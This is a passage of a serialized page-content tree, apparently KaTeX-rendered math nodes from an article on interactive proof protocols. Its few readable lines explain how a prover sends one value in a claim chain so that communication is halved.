",{"type":23,"tag":71,"props":112022,"children":112024},{"className":112023},[6318,6319],[112025],{"type":23,"tag":230,"props":112026,"children":112028},{"className":112027},[6324],[112029],{"type":23,"tag":230,"props":112030,"children":112032},{"className":112031,"ariaHidden":1726},[6329],[112033,112126,112219],{"type":23,"tag":230,"props":112034,"children":112036},{"className":112035},[6334],[112037,112041,112098,112103,112108,112113,112117,112122],{"type":23,"tag":230,"props":112038,"children":112040},{"className":112039,"style":6447},[6339],[],{"type":23,"tag":230,"props":112042,"children":112044},{"className":112043},[6345],[112045,112050],{"type":23,"tag":230,"props":112046,"children":112048},{"className":112047,"style":95312},[6345,23902],[112049],{"type":29,"value":111077},{"type":23,"tag":230,"props":112051,"children":112053},{"className":112052},[6362],[112054],{"type":23,"tag":230,"props":112055,"children":112057},{"className":112056},[6367,23956],[112058,112087],{"type":23,"tag":230,"props":112059,"children":112061},{"className":112060},[6372],[112062,112082],{"type":23,"tag":230,"props":112063,"children":112065},{"className":112064,"style":95355},[6377],[112066],{"type":23,"tag":230,"props":112067,"children":112068},{"style":95359},[112069,112073],{"type":23,"tag":230,"props":112070,"children":112072},{"className":112071,"style":6387},[6386],[],{"type":23,"tag":230,"props":112074,"children":112076},{"className":112075},[6392,6393,6394,6395],[112077],{"type":23,"tag":230,"props":112078,"children":112080},{"className":112079},[6345,23902,6395],[112081],{"type":29,"value":6074},{"type":23,"tag":230,"props":112083,"children":112085},{"className":112084},[24059],[112086],{"type":29,"value":24062},{"type":23,"tag":230,"props":112088,"children":112090},{"className":112089},[6372],[112091],{"type":23,"tag":230,"props":112092,"children":112094},{"className":112093,"style":94909},[6377],[112095],{"type":23,"tag":230,"props":112096,"children":112097},{},[],{"type":23,"tag":230,"props":112099,"children":112101},{"className":112100},[24031],[112102],{"type":29,"value":302},{"type":23,"tag":230,"props":112104,"children":112106},{"className":112105},[6345],[112107],{"type":29,"value":6358},{"type":23,"tag":230,"props":112109,"children":112111},{"className":112110},[24053],[112112],{"type":29,"value":5467},{"type":23,"tag":230,"props":112114,"children":112116},{"className":112115,"style":6427},[6426],[],{"type":23,"tag":230,"props":112118,"children":112120},{"className":112119},[6432],[112121],{"type":29,"value":6719},{"type":23,"tag":230,"props":112123,"children":112125},{"className":112124,"style":6427},[6426],[],{"type":23,"tag":230,"props":112127,"children":112129},{"className":112128},[6334],[112130,112134,112191,112196,112201,112206,112210,112215],{"type":23,"tag":230,"props":112131,"children":112133},{"className":112132,"style":6447},[6339],[],{"type":23,"tag":230,"props":112135,"children":112137},{"className":112136},[6345],[112138,112143],{"type":23,"tag":230,"props":112139,"children":112141},{"className":112140,"style":95312},[6345,23902],[112142],{"type":29,"value":111077},{"type":23,"tag":230,"props":112144,"children":112146},{"className":112145},[6362],[112147],{"type":23,"tag":230,"props":112148,"children":112150},{"className":112149},[6367,23956],[112151,112180],{"type":23,"tag":230,"props":112152,"children":112154},{"className":112153},[6372],[112155,112175],{"type":23,"tag":230,"props":112156,"children":112158},{"className":112157,"style":95355},[6377],[112159],{"type":23,"tag":230,"props":112160,"children":112161},{"style":95359},[112162,112166],{"type":23,"tag":230,"props":112163,"children":112165},{"className":112164,"style":6387},[6386],[],{"type":23,"tag":230,"props":112167,"children":112169},{"className":112168},[6392,6393,6394,6395],[112170],{"type":23,"tag":230,"props":112171,"children":112173},{"className":112172},[6345,23902,6395],[112174],{"type":29,"value":6074},{"type":23,"tag":230,"props":112176,"children":112178},{"className":112177},[24059],[112179],{"type":29,"value":24062},{"type":23,"tag":230,"props":112181,"children":112183},{"className":112182},[6372],[112184],{"type":23,"tag":230,"props":112185,"children":112187},{"className":112186,"style":94909},[6377],[112188],{"type":23,"tag":230,"props":112189,"children":112190},{},[],{"type":23,"tag":230,"props":112192,"children":112194},{"className":112193},[24031],[112195],{"type":29,"value":302},{"type":23,"tag":230,"props":112197,"children":112199},{"className":112198},[6345],[112200],{"type":29,"value":6348},{"type":23,"tag":230,"props":112202,"children":112204},{"className":112203},[24053],[112205],{"type":29,"value":5467},{"type":23,"tag":230,"props":112207,"children":112209},{"className":112208,"style":6524},[6426],[],{"type":23,"tag":230,"props":112211,"children":112213},{"className":112212},[6529],[112214],{"type":29,"value":863},{"type":23,"tag":230,"props":112216,"children":112218},{"className":112217,"style":6524},[6426],[],{"type":23,"tag":230,"props":112220,"children":112222},{"className":112221},[6334],[112223,112228],{"type":23,"tag":230,"props":112224,"children":112227},{"className":112225,"style":112226},[6339],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":230,"props":112229,"children":112231},{"className":112230},[6345],[112232,112237],{"type":23,"tag":230,"props":112233,"children":112235},{"className":112234,"style":95060},[6345,23902],[112236],{"type":29,"value":95063},{"type":23,"tag":230,"props":112238,"children":112240},{"className":112239},[6362],[112241],{"type":23,"tag":230,"props":112242,"children":112244},{"className":112243},[6367,23956],[112245,112289],{"type":23,"tag":230,"props":112246,"children":112248},{"className":112247},[6372],[112249,112284],{"type":23,"tag":230,"props":112250,"children":112252},{"className":112251,"style":95355},[6377],[112253],{"type":23,"tag":230,"props":112254,"children":112256},{"style":112255},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[112257,112261],{"type":23,"tag":230,"props":112258,"children":112260},{"className":112259,"style":6387},[6386],[],{"type":23,"tag":230,"props":112262,"children":112264},{"className":112263},[6392,6393,6394,6395],[112265],{"type":23,"tag":230,"props":112266,"children":112268},{"className":112267},[6345,6395],[112269,112274,112279],{"type":23,"tag":230,"props":112270,"children":112272},{"className":112271},[6345,23902,6395],[112273],{"type":29,"value":6074},{"type":23,"tag":230,"props":112275,"children":112277},{"className":112276},[6432,6395],[112278],{"type":29,"value":6406},{"type":23,"tag":230,"props":112280,"children":112282},{"className":112281},[6345,6395],[112283],{"type":29,"value":6348},{"type":23,"tag":230,"props":112285,"children":112287},{"className":112286},[24059],[112288],{"type":29,"value":24062},{"type":23,"tag":230,"props":112290,"children":112292},{"className":112291},[6372],[112293],{"type":23,"tag":230,"props":112294,"children":112297},{"className":112295,"style":112296},[6377],"height:0.2083em;",[112298],{"type":23,"tag":230,"props":112299,"children":112300},{},[],{"type":29,"value":112302}," (the previous claim), we have:",{"type":23,"tag":32,"props":112304,"children":112305},{},[112306],{"type":23,"tag":71,"props":112307,"children":112309},{"className":112308},[6318,6319],[112310],{"type":23,"tag":230,"props":112311,"children":112313},{"className":112312},[6324],[112314],{"type":23,"tag":230,"props":112315,"children":112317},{"className":112316,"ariaHidden":1726},[6329],[112318,112344,112375,112406,112507,112533,112625],{"type":23,"tag":230,"props":112319,"children":112321},{"className":112320},[6334],[112322,112326,112331,112335,112340],{"type":23,"tag":230,"props":112323,"children":112325},{"className":112324,"style":111981},[6339],[],{"type":23,"tag":230,"props":112327,"children":112329},{"className":112328},[6345,23902],[112330],{"type":29,"value":181},{"type":23,"tag":230,"props":112332,"children":112334},{"className":112333,"style":6427},[6426],[],{"type":23,"tag":230,"props":112336,"children":112338},{"className":112337},[6432],[112339],{"type":29,"value":6719},{"type":23,"tag":230,"props":112341,"children":112343},{"className":112342,"style":6427},[6426],[],{"type":23,"tag":230,"props":112345,"children":112347},{"className":112346},[6334],[112348,112352,112357,112362,112366,112371],{"type":23,"tag":230,"props":112349,"children":112351},{"className":112350,"style":6447},[6339],[],{"type":23,"tag":230,"props":112353,"children":112355},{"className":112354},[24031],[112356],{"type":29,"value":302},{"type":23,"tag":230,"props":112358,"children":112360},{"className":112359},[6345,23902],[112361],{"type":29,"value":181},{"type":23,"tag":230,"props":112363,"children":112365},{"className":112364,"style":6427},[6426],[],{"type":23,"tag":230,"props":112367,"children":112369},{"className":112368},[6432],[112370],{"type":29,"value":6719},{"type":23,"tag":230,"props":112372,"children":112374},{"className":112373,"style":6427},[6426],[],{"type":23,"tag":230,"props":112376,"children":112378},{"className":112377},[6334],[112379,112383,112388,112393,112397,112402],{"type":23,"tag":230,"props":112380,"children":112382},{"className":112381,"style":6447},[6339],[],{"type":23,"tag":230,"props":112384,"children":112386},{"className":112385},[6345,23902],[112387],{"type":29,"value":5561},{"type":23,"tag":230,"props":112389,"children":112391},{"className":112390},[24053],[112392],{"type":29,"value":5467},{"type":23,"tag":230,"props":112394,"children":112396},{"className":112395,"style":6524},[6426],[],{"type":23,"tag":230,"props":112398,"children":112400},{"className":112399},[6529],[112401],{"type":29,"value":863},{"type":23,"tag":230,"props":112403,"children":112405},{"className":112404,"style":6524},[6426],[],{"type":23,"tag":230,"props":112407,"children":112409},{"className":112408},[6334],[112410,112414,112485,112489,112493,112499,112503],{"type":23,"tag":230,"props":112411,"children":112413},{"className":112412,"style":112226},[6339],[],{"type":23,"tag":230,"props":112415,"children":112417},{"className":112416},[6345],[112418,112423],{"type":23,"tag":230,"props":112419,"children":112421},{"className":112420,"style":95060},[6345,23902],[112422],{"type":29,"value":95063},{"type":23,"tag":230,"props":112424,"children":112426},{"className":112425},[6362],[112427],{"type":23,"tag":230,"props":112428,"children":112430},{"className":112429},[6367,23956],[112431,112474],{"type":23,"tag":230,"props":112432,"children":112434},{"className":112433},[6372],[112435,112469],{"type":23,"tag":230,"props":112436,"children":112438},{"className":112437,"style":95355},[6377],[112439],{"type":23,"tag":230,"props":112440,"children":112441},{"style":112255},[112442,112446],{"type":23,"tag":230,"props":112443,"children":112445},{"className":112444,"style":6387},[6386],[],{"type":23,"tag":230,"props":112447,"children":112449},{"className":112448},[6392,6393,6394,6395],[112450],{"type":23,"tag":230,"props":112451,"children":112453},{"className":112452},[6345,6395],[112454,112459,112464],{"type":23,"tag":230,"props":112455,"children":112457},{"className":112456},[6345,23902,6395],[112458],{"type":29,"value":6074},{"type":23,"tag":230,"props":112460,"children":112462},{"className":112461},[6432,6395],[112463],{"type":29,"value":6406},{"type":23,"tag":230,"props":112465,"children":112467},{"className":112466},[6345,6395],[112468],{"type":29,"value":6348},{"type":23,"tag":230,"props":112470,"children":112472},{"className":112471},[24059],[112473],{"type":29,"value":24062},{"type":23,"tag":230,"props":112475,"children":112477},{"className":112476},[6372],[112478],{"type":23,"tag":230,"props":112479,"children":112481},{"className":112480,"style":112296},[6377],[112482],{"type":23,"tag":230,"props":112483,"children":112484},{},[],{"type":23,"tag":230,"props":112486,"children":112488},{"className":112487,"style":6524},[6426],[],{"type":23,"tag":230,"props":112490,"children":112492},{"className":112491,"style":6524},[6426],[],{"type":23,"tag":230,"props":112494,"children":112496},{"className":112495},[6529],[112497],{"type":29,"value":112498},"⟹",{"type":23,"tag":230,"props":112500,"children":112502},{"className":112501,"style":6524},[6426],[],{"type":23,"tag":230,"props":112504,"children":112506},{"className":112505,"style":6524},[6426],[],{"type":23,"tag":230,"props":112508,"children":112510},{"className":112509},[6334],[112511,112515,112520,112524,112529],{"type":23,"tag":230,"props":112512,"children":112514},{"className":112513,"style":94741},[6339],[],{"type":23,"tag":230,"props":112516,"children":112518},{"className":112517},[6345,23902],[112519],{"type":29,"value":5561},{"type":23,"tag":230,"props":112521,"children":112523},{"className":112522,"style":6524},[6426],[],{"type":23,"tag":230,"props":112525,"children":112527},{"className":112526},[6529],[112528],{"type":29,"value":863},{"type":23,"tag":230,"props":112530,"children":112532},{"className":112531,"style":6524},[6426],[],{"type":23,"tag":230,"props":112534,"children":112536},{"className":112535},[6334],[112537,112541,112612,112616,112621],{"type":23,"tag":230,"props":112538,"children":112540},{"className":112539,"style":112226},[6339],[],{"type":23,"tag":230,"props":112542,"children":112544},{"className":112543},[6345],[112545,112550],{"type":23,"tag":230,"props":112546,"children":112548},{"className":112547,"style":95060},[6345,23902],[112549],{"type":29,"value":95063},{"type":23,"tag":230,"props":112551,"children":112553},{"className":112552},[6362],[112554],{"type":23,"tag":230,"props":112555,"children":112557},{"className":112556},[6367,23956],[112558,112601],{"type":23,"tag":230,"props":112559,"children":112561},{"className":112560},[6372],[112562,112596],{"type":23,"tag":230,"props":112563,"children":112565},{"className":112564,"style":95355},[6377],[112566],{"type":23,"tag":230,"props":112567,"children":112568},{"style":112255},[112569,112573],{"type":23,"tag":230,"props":112570,"children":112572},{"className":112571,"style":6387},[6386],[],{"type":23,"tag":230,"props":112574,"children":112576},{"className":112575},[6392,6393,6394,6395],[112577],{"type":23,"tag":230,"props":112578,"children":112580},{"className":112579},[6345,6395],[112581,112586,112591],{"type":23,"tag":230,"props":112582,"children":112584},{"className":112583},[6345,23902,6395],[112585],{"type":29,"value":6074},{"type":23,"tag":230,"props":112587,"children":112589},{"className":112588},[6432,6395],[112590],{"type":29,"value":6406},{"type":23,"tag":230,"props":112592,"children":112594},{"className":112593},[6345,6395],[112595],{"type":29,"value":6348},{"type":23,"tag":230,"props":112597,"children":112599},{"className":112598},[24059],[112600],{"type":29,"value":24062},{"type":23,"tag":230,"props":112602,"children":112604},{"className":112603},[6372],[112605],{"type":23,"tag":230,"props":112606,"children":112608},{"className":112607,"style":112296},[6377],[112609],{"type":23,"tag":230,"props":112610,"children":112611},{},[],{"type":23,"tag":230,"props":112613,"children":112615},{"className":112614,"style":6427},[6426],[],{"type":23,"tag":230,"props":112617,"children":112619},{"className":112618},[6432],[112620],{"type":29,"value":6406},{"type":23,"tag":230,"props":112622,"children":112624},{"className":112623,"style":6427},[6426],[],{"type":23,"tag":230,"props":112626,"children":112628},{"className":112627},[6334],[112629,112633,112638],{"type":23,"tag":230,"props":112630,"children":112632},{"className":112631,"style":95857},[6339],[],{"type":23,"tag":230,"props":112634,"children":112636},{"className":112635},[6345],[112637],{"type":29,"value":5462},{"type":23,"tag":230,"props":112639,"children":112641},{"className":112640},[6345,23902],[112642],{"type":29,"value":181},{"type":23,"tag":32,"props":112644,"children":112645},{},[112646,112648,112767,112769,112794],{"type":29,"value":112647},"So the prover only sends ",{"type":23,"tag":71,"props":112649,"children":112651},{"className":112650},[6318,6319],[112652],{"type":23,"tag":230,"props":112653,"children":112655},{"className":112654},[6324],[112656],{"type":23,"tag":230,"props":112657,"children":112659},{"className":112658,"ariaHidden":1726},[6329],[112660,112687],{"type":23,"tag":230,"props":112661,"children":112663},{"className":112662},[6334],[112664,112669,112674,112678,112683],{"type":23,"tag":230,"props":112665,"children":112668},{"className":112666,"style":112667},[6339],"height:0.4306em;",[],{"type":23,"tag":230,"props":112670,"children":112672},{"className":112671},[6345,23902],[112673],{"type":29,"value":181},{"type":23,"tag":230,"props":112675,"children":112677},{"className":112676,"style":6524},[6426],[],{"type":23,"tag":230,"props":112679,"children":112681},{"className":112680},[6529],[112682],{"type":29,"value":863},{"type":23,"tag":230,"props":112684,"children":112686},{"className":112685,"style":6524},[6426],[],{"type":23,"tag":230,"props":112688,"children":112690},{"className":112689},[6334],[112691,112695,112752,112757,112762],{"type":23,"tag":230,"props":112692,"children":112694},{"className":112693,"style":6447},[6339],[],{"type":23,"tag":230,"props":112696,"children":112698},{"className":112697},[6345],[112699,112704],{"type":23,"tag":230,"props":112700,"children":112702},{"className":112701,"style":95312},[6345,23902],[112703],{"type":29,"value":111077},{"type":23,"tag":230,"props":112705,"children":112707},{"className":112706},[6362],[112708],{"type":23,"tag":230,"props":112709,"children":112711},{"className":112710},[6367,23956],[112712,112741],{"type":23,"tag":230,"props":112713,"children":112715},{"className":112714},[6372],[112716,112736],{"type":23,"tag":230,"props":112717,"children":112719},{"className":112718,"style":95355},[6377],[112720],{"type":23,"tag":230,"props":112721,"children":112722},{"style":95359},[112723,112727],{"type":23,"tag":230,"props":112724,"children":112726},{"className":112725,"style":6387},[6386],[],{"type":23,"tag":230,"props":112728,"children":112730},{"className":112729},[6392,6393,6394,6395],[112731],{"type":23,"tag":230,"props":112732,"children":112734},{"className":112733},[6345,23902,6395],[112735],{"type":29,"value":6074},{"type":23,"tag":230,"props":112737,"children":112739},{"className":112738},[24059],[112740],{"type":29,"value":24062},{"type":23,"tag":230,"props":112742,"children":112744},{"className":112743},[6372],[112745],{"type":23,"tag":230,"props":112746,"children":112748},{"className":112747,"style":94909},[6377],[112749],{"type":23,"tag":230,"props":112750,"children":112751},{},[],{"type":23,"tag":230,"props":112753,"children":112755},{"className":112754},[24031],[112756],{"type":29,"value":302},{"type":23,"tag":230,"props":112758,"children":112760},{"className":112759},[6345],[112761],{"type":29,"value":6358},{"type":23,"tag":230,"props":112763,"children":112765},{"className":112764},[24053],[112766],{"type":29,"value":5467},{"type":29,"value":112768},", and the verifier recovers ",{"type":23,"tag":71,"props":112770,"children":112772},{"className":112771},[6318,6319],[112773],{"type":23,"tag":230,"props":112774,"children":112776},{"className":112775},[6324],[112777],{"type":23,"tag":230,"props":112778,"children":112780},{"className":112779,"ariaHidden":1726},[6329],[112781],{"type":23,"tag":230,"props":112782,"children":112784},{"className":112783},[6334],[112785,112789],{"type":23,"tag":230,"props":112786,"children":112788},{"className":112787,"style":94741},[6339],[],{"type":23,"tag":230,"props":112790,"children":112792},{"className":112791},[6345,23902],[112793],{"type":29,"value":5561},{"type":29,"value":112795},". This saves 50% on communication costs.",{"type":23,"tag":32,"props":112797,"children":112798},{},[112799],{"type":29,"value":112800},"The next claim in the chain is",{"type":23,"tag":32,"props":112802,"children":112803},{},[112804],{"type":23,"tag":71,"props":112805,"children":112807},{"className":112806},[6318,6319],[112808],{"type":23,"tag":230,"props":112809,"children":112811},{"className":112810},[6324],[112812],{"type":23,"tag":230,"props":112813,"children":112815},{"className":112814,"ariaHidden":1726},[6329],[112816,112895,113040,113066,113093,113171,113197,113294,113330,113408,113444,113532,113624],{"type":23,"tag":230,"props":112817,"children":112819},{"className":112818},[6334],[112820,112825,112882,112886,112891],{"type":23,"tag":230,"props":112821,"children":112824},{"className":112822,"style":112823},[6339],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":230,"props":112826,"children":112828},{"className":112827},[6345],[112829,112834],{"type":23,"tag":230,"props":112830,"children":112832},{"className":112831,"style":95060},[6345,23902],[112833],{"type":29,"value":95063},{"type":23,"tag":230,"props":112835,"children":112837},{"className":112836},[6362],[112838],{"type":23,"tag":230,"props":112839,"children":112841},{"className":112840},[6367,23956],[112842,112871],{"type":23,"tag":230,"props":112843,"children":112845},{"className":112844},[6372],[112846,112866],{"type":23,"tag":230,"props":112847,"children":112849},{"className":112848,"style":95355},[6377],[112850],{"type":23,"tag":230,"props":112851,"children":112852},{"style":112255},[112853,112857],{"type":23,"tag":230,"props":112854,"children":112856},{"className":112855,"style":6387},[6386],[],{"type":23,"tag":230,"props":112858,"children":112860},{"className":112859},[6392,6393,6394,6395],[112861],{"type":23,"tag":230,"props":112862,"children":112864},{"className":112863},[6345,23902,6395],[112865],{"type":29,"value":6074},{"type":23,"tag":230,"props":112867,"children":112869},{"className":112868},[24059],[112870],{"type":29,"value":24062},{"type":23,"tag":230,"props":112872,"children":112874},{"className":112873},[6372],[112875],{"type":23,"tag":230,"props":112876,"children":112878},{"className":112877,"style":94909},[6377],[112879],{"type":23,"tag":230,"props":112880,"children":112881},{},[],{"type":23,"tag":230,"props":112883,"children":112885},{"className":112884,"style":6524},[6426],[],{"type":23,"tag":230,"props":112887,"children":112889},{"className":112888},[6529],[112890],{"type":29,"value":863},{"type":23,"tag":230,"props":112892,"children":112894},{"className":112893,"style":6524},[6426],[],{"type":23,"tag":230,"props":112896,"children":112898},{"className":112897},[6334],[112899,112903,112960,112965,113022,113027,113031,113036],{"type":23,"tag":230,"props":112900,"children":112902},{"className":112901,"style":6447},[6339],[],{"type":23,"tag":230,"props":112904,"children":112906},{"className":112905},[6345],[112907,112912],{"type":23,"tag":230,"props":112908,"children":112910},{"className":112909,"style":95312},[6345,23902],[112911],{"type":29,"value":111077},{"type":23,"tag":230,"props":112913,"children":112915},{"className":112914},[6362],[112916],{"type":23,"tag":230,"props":112917,"children":112919},{"className":112918},[6367,23956],[112920,112949],{"type":23,"tag":230,"props":112921,"children":112923},{"className":112922},[6372],[112924,112944],{"type":23,"tag":230,"props":112925,"children":112927},{"className":112926,"style":95355},[6377],[112928],{"type":23,"tag":230,"props":112929,"children":112930},{"style":95359},[112931,112935],{"type":23,"tag":230,"props":112932,"children":112934},{"className":112933,"style":6387},[6386],[],{"type":23,"tag":230,"props":112936,"children":112938},{"className":112937},[6392,6393,6394,6395],[112939],{"type":23,"tag":230,"props":112940,"children":112942},{"className":112941},[6345,23902,6395],[112943],{"type":29,"value":6074},{"type":23,"tag":230,"props":112945,"children":112947},{"className":112946},[24059],[112948],{"type":29,"value":24062},{"type":23,"tag":230,"props":112950,"children":112952},{"className":112951},[6372],[112953],{"type":23,"tag":230,"props":112954,"children":112956},{"className":112955,"style":94909},[6377],[112957],{"type":23,"tag":230,"props":112958,"children":112959},{},[],{"type":23,"tag":230,"props":112961,"children":112963},{"className":112962},[24031],[112964],{"type":29,"value":302},{"type":23,"tag":230,"props":112966,"children":112968},{"className":112967},[6345],[112969,112974],{"type":23,"tag":230,"props":112970,"children":112972},{"className":112971,"style":94826},[6345,23902],[112973],{"type":29,"value":95645},{"type":23,"tag":230,"props":112975,"children":112977},{"className":112976},[6362],[112978],{"type":23,"tag":230,"props":112979,"children":112981},{"className":112980},[6367,23956],[112982,113011],{"type":23,"tag":230,"props":112983,"children":112985},{"className":112984},[6372],[112986,113006],{"type":23,"tag":230,"props":112987,"children":112989},{"className":112988,"style":95355},[6377],[112990],{"type":23,"tag":230,"props":112991,"children":112992},{"style":111825},[112993,112997],{"type":23,"tag":230,"props":112994,"children":112996},{"className":112995,"style":6387},[6386],[],{"type":23,"tag":230,"props":112998,"children":113000},{"className":112999},[6392,6393,6394,6395],[113001],{"type":23,"tag":230,"props":113002,"children":113004},{"className":113003},[6345,23902,6395],[113005],{"type":29,"value":6074},{"type":23,"tag":230,"props":113007,"children":113009},{"className":113008},[24059],[113010],{"type":29,"value":24062},{"type":23,"tag":230,"props":113012,"children":113014},{"className":113013},[6372],[113015],{"type":23,"tag":230,"props":113016,"children":113018},{"className":113017,"style":94909},[6377],[113019],{"type":23,"tag":230,"props":113020,"children":113021},{},[],{"type":23,"tag":230,"props":113023,"children":113025},{"className":113024},[24053],[113026],{"type":29,"value":5467},{"type":23,"tag":230,"props":113028,"children":113030},{"className":113029,"style":6524},[6426],[],{"type":23,"tag":230,"props":113032,"children":113034},{"className":113033},[6529],[113035],{"type":29,"value":863},{"type":23,"tag":230,"props":113037,"children":113039},{"className":113038,"style":6524},[6426],[],{"type":23,"tag":230,"props":113041,"children":113043},{"className":113042},[6334],[113044,113048,113053,113057,113062],{"type":23,"tag":230,"props":113045,"children":113047},{"className":113046,"style":111981},[6339],[],{"type":23,"tag":230,"props":113049,"children":113051},{"className":113050},[6345,23902],[113052],{"type":29,"value":181},{"type":23,"tag":230,"props":113054,"children":113056},{"className":113055,"style":6427},[6426],[],{"type":23,"tag":230,"props":113058,"children":113060},{"className":113059},[6432],[113061],{"type":29,"value":6719},{"type":23,"tag":230,"props":113063,"children":113065},{"className":113064,"style":6427},[6426],[],{"type":23,"tag":230,"props":113067,"children":113069},{"className":113068},[6334],[113070,113074,113079,113083,113089],{"type":23,"tag":230,"props":113071,"children":113073},{"className":113072,"style":94741},[6339],[],{"type":23,"tag":230,"props":113075,"children":113077},{"className":113076},[6345,23902],[113078],{"type":29,"value":5561},{"type":23,"tag":230,"props":113080,"children":113082},{"className":113081,"style":6427},[6426],[],{"type":23,"tag":230,"props":113084,"children":113086},{"className":113085},[6432],[113087],{"type":29,"value":113088},"⋅",{"type":23,"tag":230,"props":113090,"children":113092},{"className":113091,"style":6427},[6426],[],{"type":23,"tag":230,"props":113094,"children":113096},{"className":113095},[6334],[113097,113101,113158,113162,113167],{"type":23,"tag":230,"props":113098,"children":113100},{"className":113099,"style":111796},[6339],[],{"type":23,"tag":230,"props":113102,"children":113104},{"className":113103},[6345],[113105,113110],{"type":23,"tag":230,"props":113106,"children":113108},{"className":113107,"style":94826},[6345,23902],[113109],{"type":29,"value":95645},{"type":23,"tag":230,"props":113111,"children":113113},{"className":113112},[6362],[113114],{"type":23,"tag":230,"props":113115,"children":113117},{"className":113116},[6367,23956],[113118,113147],{"type":23,"tag":230,"props":113119,"children":113121},{"className":113120},[6372],[113122,113142],{"type":23,"tag":230,"props":113123,"children":113125},{"className":113124,"style":95355},[6377],[113126],{"type":23,"tag":230,"props":113127,"children":113128},{"style":111825},[113129,113133],{"type":23,"tag":230,"props":113130,"children":113132},{"className":113131,"style":6387},[6386],[],{"type":23,"tag":230,"props":113134,"children":113136},{"className":113135},[6392,6393,6394,6395],[113137],{"type":23,"tag":230,"props":113138,"children":113140},{"className":113139},[6345,23902,6395],[113141],{"type":29,"value":6074},{"type":23,"tag":230,"props":113143,"children":113145},{"className":113144},[24059],[113146],{"type":29,"value":24062},{"type":23,"tag":230,"props":113148,"children":113150},{"className":113149},[6372],[113151],{"type":23,"tag":230,"props":113152,"children":113154},{"className":113153,"style":94909},[6377],[113155],{"type":23,"tag":230,"props":113156,"children":113157},{},[],{"type":23,"tag":230,"props":113159,"children":113161},{"className":113160,"style":6524},[6426],[],{"type":23,"tag":230,"props":113163,"children":113165},{"className":113164},[6529],[113166],{"type":29,"value":863},{"type":23,"tag":230,"props":113168,"children":113170},{"className":113169,"style":6524},[6426],[],{"type":23,"tag":230,"props":113172,"children":113174},{"className":113173},[6334],[113175,113179,113184,113188,113193],{"type":23,"tag":230,"props":113176,"children":113178},{"className":113177,"style":111981},[6339],[],{"type":23,"tag":230,"props":113180,"children":113182},{"className":113181},[6345,23902],[113183],{"type":29,"value":181},{"type":23,"tag":230,"props":113185,"children":113187},{"className":113186,"style":6427},[6426],[],{"type":23,"tag":230,"props":113189,"children":113191},{"className":113190},[6432],[113192],{"type":29,"value":6719},{"type":23,"tag":230,"props":113194,"children":113196},{"className":113195,"style":6427},[6426],[],{"type":23,"tag":230,"props":113198,"children":113200},{"className":113199},[6334],[113201,113205,113210,113281,113285,113290],{"type":23,"tag":230,"props":113202,"children":113204},{"className":113203,"style":6447},[6339],[],{"type":23,"tag":230,"props":113206,"children":113208},{"className":113207},[24031],[113209],{"type":29,"value":302},{"type":23,"tag":230,"props":113211,"children":113213},{"className":113212},[6345],[113214,113219],{"type":23,"tag":230,"props":113215,"children":113217},{"className":113216,"style":95060},[6345,23902],[113218],{"type":29,"value":95063},{"type":23,"tag":230,"props":113220,"children":113222},{"className":113221},[6362],[113223],{"type":23,"tag":230,"props":113224,"children":113226},{"className":113225},[6367,23956],[113227,113270],{"type":23,"tag":230,"props":113228,"children":113230},{"className":113229},[6372],[113231,113265],{"type":23,"tag":230,"props":113232,"children":113234},{"className":113233,"style":95355},[6377],[113235],{"type":23,"tag":230,"props":113236,"children":113237},{"style":112255},[113238,113242],{"type":23,"tag":230,"props":113239,"children":113241},{"className":113240,"style":6387},[6386],[],{"type":23,"tag":230,"props":113243,"children":113245},{"className":113244},[6392,6393,6394,6395],[113246],{"type":23,"tag":230,"props":113247,"children":113249},{"className":113248},[6345,6395],[113250,113255,113260],{"type":23,"tag":230,"props":113251,"children":113253},{"className":113252},[6345,23902,6395],[113254],{"type":29,"value":6074},{"type":23,"tag":230,"props":113256,"children":113258},{"className":113257},[6432,6395],[113259],{"type":29,"value":6406},{"type":23,"tag":230,"props":113261,"children":113263},{"className":113262},[6345,6395],[113264],{"type":29,"value":6348},{"type":23,"tag":230,"props":113266,"children":113268},{"className":113267},[24059],[113269],{"type":29,"value":24062},{"type":23,"tag":230,"props":113271,"children":113273},{"className":113272},[6372],[113274],{"type":23,"tag":230,"props":113275,"children":113277},{"className":113276,"style":112296},[6377],[113278],{"type":23,"tag":230,"props":113279,"children":113280},{},[],{"type":23,"tag":230,"props":113282,"children":113284},{"className":113283,"style":6427},[6426],[],{"type":23,"tag":230,"props":113286,"children":113288},{"className":113287},[6432],[113289],{"type":29,"value":6406},{"type":23,"tag":230,"props":113291,"children":113293},{"className":113292,"style":6427},[6426],[],{"type":23,"tag":230,"props":113295,"children":113297},{"className":113296},[6334],[113298,113302,113307,113312,113317,113321,113326],{"type":23,"tag":230,"props":113299,"children":113301},{"className":113300,"style":6447},[6339],[],{"type":23,"tag":230,"props":113303,"children":113305},{"className":113304},[6345],[113306],{"type":29,"value":5462},{"type":23,"tag":230,"props":113308,"children":113310},{"className":113309},[6345,23902],[113311],{"type":29,"value":181},{"type":23,"tag":230,"props":113313,"children":113315},{"className":113314},[24053],[113316],{"type":29,"value":5467},{"type":23,"tag":230,"props":113318,"children":113320},{"className":113319,"style":6427},[6426],[],{"type":23,"tag":230,"props":113322,"children":113324},{"className":113323},[6432],[113325],{"type":29,"value":113088},{"type":23,"tag":230,"props":113327,"children":113329},{"className":113328,"style":6427},[6426],[],{"type":23,"tag":230,"props":113331,"children":113333},{"className":113332},[6334],[113334,113338,113395,113399,113404],{"type":23,"tag":230,"props":113335,"children":113337},{"className":113336,"style":111796},[6339],[],{"type":23,"tag":230,"props":113339,"children":113341},{"className":113340},[6345],[113342,113347],{"type":23,"tag":230,"props":113343,"children":113345},{"className":113344,"style":94826},[6345,23902],[113346],{"type":29,"value":95645},{"type":23,"tag":230,"props":113348,"children":113350},{"className":113349},[6362],[113351],{"type":23,"tag":230,"props":113352,"children":113354},{"className":113353},[6367,23956],[113355,113384],{"type":23,"tag":230,"props":113356,"children":113358},{"className":113357},[6372],[113359,113379],{"type":23,"tag":230,"props":113360,"children":113362},{"className":113361,"style":95355},[6377],[113363],{"type":23,"tag":230,"props":113364,"children":113365},{"style":111825},[113366,113370],{"type":23,"tag":230,"props":113367,"children":113369},{"className":113368,"style":6387},[6386],[],{"type":23,"tag":230,"props":113371,"children":113373},{"className":113372},[6392,6393,6394,6395],[113374],{"type":23,"tag":230,"props":113375,"children":113377},{"className":113376},[6345,23902,6395],[113378],{"type":29,"value":6074},{"type":23,"tag":230,"props":113380,"children":113382},{"className":113381},[24059],[113383],{"type":29,"value":24062}